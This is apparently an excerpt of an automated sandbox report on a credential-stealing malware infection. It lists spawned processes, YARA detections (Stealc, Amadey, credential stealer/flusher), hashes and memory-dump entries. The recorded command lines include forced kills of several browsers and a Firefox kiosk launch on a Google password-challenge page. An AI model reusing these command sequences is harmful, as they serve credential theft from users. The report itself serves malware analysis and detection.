0000000C.00000003.2886049051.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2895825958.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2899712973.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2881423508.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2897446385.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2880668031.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2828419524.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2891835597.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2895825958.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	03:51:44
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe"
Imagebase:	0x30000
File size:	919'552 bytes
MD5 hash:	48E5C172E53EB45E40FE1CEF7643AA58
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	03:51:45
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x720000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	03:51:45
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	03:51:47
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x720000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	03:51:47
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	03:51:48
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x720000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	03:51:48
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	03:51:48
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x720000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	03:51:48
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	03:51:48
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x720000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	03:51:48
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	03:51:48
Start date:	01/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	03:51:48
Start date:	01/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	03:51:48
Start date:	01/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	03:51:50
Start date:	01/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2168 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4e46413c-d34b-4bb5-adfb-3687c24cfd1f} 8148 "\\.\pipe\gecko-crash-server-pipe.8148" 2296eb6df10 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	03:51:51
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe"
Imagebase:	0x4a0000
File size:	2'799'104 bytes
MD5 hash:	A94EB41E9E38B75CF809AD0A66787584
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	03:51:51
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe"
Imagebase:	0xe90000
File size:	2'159'616 bytes
MD5 hash:	CAFF2FE6C91944CCA73634BB9B591335
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000002.2922821640.0000000000E91000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000003.2828721900.0000000005440000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000002.2927409227.000000000182B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	03:51:52
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003125001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003125001\num.exe"
Imagebase:	0x160000
File size:	888'832 bytes
MD5 hash:	F793D9E588C6BF51F1DAF523AB2DF1CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000000.2803596225.000000000017E000.00000002.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.2828392068.0000000000161000.00000080.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000000.2803560283.0000000000161000.00000080.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.2828765509.000000000017E000.00000002.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.2839248106.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	03:51:55
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe"
Imagebase:	0x220000
File size:	1'874'432 bytes
MD5 hash:	73374DDF38989644301CD77DC9A3D1FE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000021.00000002.2914036653.0000000000221000.00000040.00000001.01000000.00000019.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000021.00000003.2873181974.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	03:51:59
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe"
Imagebase:	0x30000
File size:	919'552 bytes
MD5 hash:	48E5C172E53EB45E40FE1CEF7643AA58
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 00000022.00000002.2983262363.00000000016B8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	03:51:59
Start date:	01/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4364 -parentBuildID 20230927232528 -prefsHandle 4352 -prefMapHandle 4348 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {651ca645-af68-4528-a615-b1d665984952} 8148 "\\.\pipe\gecko-crash-server-pipe.8148" 22980b6a410 rdd
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	03:51:59
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x720000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	03:51:59
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.3%
Dynamic/Decrypted Code Coverage:	31%
Signature Coverage:	0%
Total number of Nodes:	29
Total number of Limit Nodes:	1

Executed Functions

Function 0100A24D Relevance: 1.6, APIs: 1, Instructions: 103
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(00000000,0100A249,00000003,00000000,00000003,0100A184,00000000,00000000), ref: 0100A313

Memory Dump Source

Source File: 00000002.00000002.2031636005.0000000001004000.00000040.00000001.01000000.00000006.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000002.00000002.2031369317.0000000000E80000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031394555.0000000000E82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031421737.0000000000E86000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031447702.0000000000E8A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031474106.0000000000E96000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031578330.0000000000FEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031607255.0000000000FED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031636005.0000000001010000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031758630.0000000001014000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031784305.0000000001019000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031808652.000000000101A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031832339.000000000101B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031857770.0000000001025000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031882949.0000000001029000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031913155.0000000001044000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031937968.0000000001045000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031962587.000000000104B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031988156.0000000001050000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032011882.0000000001052000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032036190.0000000001057000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032060946.0000000001064000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032085062.0000000001066000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032111890.0000000001067000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032141526.000000000106A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032167317.000000000106B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032190885.000000000106C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032223135.0000000001080000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032253534.0000000001084000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032280109.0000000001085000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032304055.0000000001089000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032331518.000000000108A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032357597.000000000108F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032385747.0000000001090000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032410966.0000000001095000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032436134.000000000109D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032464018.000000000109F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032494565.00000000010A0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032522062.00000000010A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032546939.00000000010AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032575015.00000000010AC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032604119.00000000010B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032631614.00000000010B6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032657346.00000000010BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032686237.00000000010C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032720915.00000000010CF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032766436.00000000010D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032812418.0000000001119000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032812418.0000000001120000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032869131.0000000001130000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032893097.0000000001132000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e80000_910S1Q63XQ87I6P4.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 46ecd42caffeef1b08e241e73d07ae028df85bbd309f5d5237660937c0b1e221
Instruction ID: d4e39c684e2473014d79f270bb06e0f550b02ce68b37ab9ac25a3b31a0984136
Opcode Fuzzy Hash: 46ecd42caffeef1b08e241e73d07ae028df85bbd309f5d5237660937c0b1e221
Instruction Fuzzy Hash: 122181F7348225BDB642DA89AE90EFF77ADEAC6730F30842AF885D3442D39519055631

Function 01013819 Relevance: 4.6, APIs: 3, Instructions: 56
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 01013857
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 0101387E
GetNativeSystemInfo.KERNELBASE(?), ref: 010138D5

Memory Dump Source

Source File: 00000002.00000002.2031636005.0000000001010000.00000040.00000001.01000000.00000006.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000002.00000002.2031369317.0000000000E80000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031394555.0000000000E82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031421737.0000000000E86000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031447702.0000000000E8A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031474106.0000000000E96000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031578330.0000000000FEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031607255.0000000000FED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031636005.0000000001004000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031758630.0000000001014000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031784305.0000000001019000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031808652.000000000101A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031832339.000000000101B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031857770.0000000001025000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031882949.0000000001029000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031913155.0000000001044000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031937968.0000000001045000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031962587.000000000104B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031988156.0000000001050000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032011882.0000000001052000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032036190.0000000001057000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032060946.0000000001064000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032085062.0000000001066000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032111890.0000000001067000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032141526.000000000106A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032167317.000000000106B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032190885.000000000106C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032223135.0000000001080000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032253534.0000000001084000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032280109.0000000001085000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032304055.0000000001089000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032331518.000000000108A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032357597.000000000108F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032385747.0000000001090000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032410966.0000000001095000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032436134.000000000109D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032464018.000000000109F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032494565.00000000010A0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032522062.00000000010A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032546939.00000000010AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032575015.00000000010AC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032604119.00000000010B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032631614.00000000010B6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032657346.00000000010BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032686237.00000000010C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032720915.00000000010CF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032766436.00000000010D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032812418.0000000001119000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032812418.0000000001120000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032869131.0000000001130000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032893097.0000000001132000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e80000_910S1Q63XQ87I6P4.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: dfdcdcbc186ebeaba62a1ae1a91e8434a8b8f428b043baa39505dff4ac9a7025
Instruction ID: eb0f1c3971342a595a336272c7fc7839f6e809f88784ea67704f4148989809b2
Opcode Fuzzy Hash: dfdcdcbc186ebeaba62a1ae1a91e8434a8b8f428b043baa39505dff4ac9a7025
Instruction Fuzzy Hash: E621287500424E9EEF61DF64C848BDF3BA8FB06314F000566ED818A851D77A4CA8CF58

Function 0100A278 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 81
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(00000000,0100A249,00000003,00000000,00000003,0100A184,00000000,00000000), ref: 0100A313

Strings

O3, xrefs: 0100A279

Memory Dump Source

Source File: 00000002.00000002.2031636005.0000000001004000.00000040.00000001.01000000.00000006.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000002.00000002.2031369317.0000000000E80000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031394555.0000000000E82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031421737.0000000000E86000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031447702.0000000000E8A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031474106.0000000000E96000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031578330.0000000000FEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031607255.0000000000FED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031636005.0000000001010000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031758630.0000000001014000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031784305.0000000001019000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031808652.000000000101A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031832339.000000000101B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031857770.0000000001025000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031882949.0000000001029000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031913155.0000000001044000.00000080.00000001.01000000.00000006.sdmpDownload File
